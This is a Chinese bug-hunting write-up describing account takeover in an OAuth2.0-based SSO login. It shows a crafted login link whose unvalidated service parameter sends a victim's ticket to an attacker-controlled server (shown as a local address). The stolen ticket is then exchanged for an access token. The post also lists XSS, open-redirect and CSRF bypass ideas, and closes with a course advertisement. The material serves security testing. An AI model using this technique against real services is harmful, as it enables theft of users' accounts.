OAuth2.0劫持账号漏洞挖掘案例
前言
SSO和OAuth2.0大家都不陌生了,SSO简单说是一种概念,将登录认证和业务系统分离,而OAuth则是常用的授权框架,像微信、qq第三方登录,很多文章也都写了,这里就不叙述了,下面的案例则是用OAuth2.0来实现SSO单点登录的场景
漏洞挖掘过程
登录受害者账号,下面有很多子系统,随便点击一个,抓包看看流程

关键的有几个数据包,第一个数据包重定向的页面中携带了ticket

浏览器访问是这样的

第二个数据包如下,请求授权服务来获取access_token,这就是典型OAuth中的的授权码模式,上面的ticket就是授权码code

第三个数据包如下,带着这个token直接访问目标系统

我们将第一个get请求包参数修改为baidu测试看看是否做了限制,发现会直接跳到百度,没有做任何限制,这就代表攻击者访问自己的服务器就会把这个ticket带出,我们劫持到这个就可以劫持受害者账号

本地启动一个http服务演示,实际可使用dnslog或者自己服务器

将此链接发送给受害者,受害者点击即可盗取受害者的ticket
https://xx.xx.com/cas-server/login?service=http%3A%2F%2F127.0.0.1:8000

接受到ticket

直接把第二个数据包中的code替换,获取生成的access_token

直接将第三个数据包中的token替换访问即可接管账号

其它一些常见测试思路
假如说请求的url做了白名单限制,我们就可以尝试配合子域名下的xss来定向到我们的服务器,同理利用url跳转也可以绕过
还可以利用csrf劫持账号,在OAuth2.0协议中是有state参数,是随机生成的一串字符串来进行防御,但是也有很多站点没有使用这个参数或者参数值不会改变就会导致csrf
还有就是像令牌复用、不过期等风险项,实际利用很难的话国内src基本上也不会收
总的来说就是要关注整个认证流程每一个数据包,分析每一步是干了什么,如果有携带了代表账号的id、username、手机号等相关信息就可以尝试进行修改,有些参数可能进行了编码就忽略掉了
题外话
黑客&网络安全如何学习*
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。


804

被折叠的 条评论
为什么被折叠?



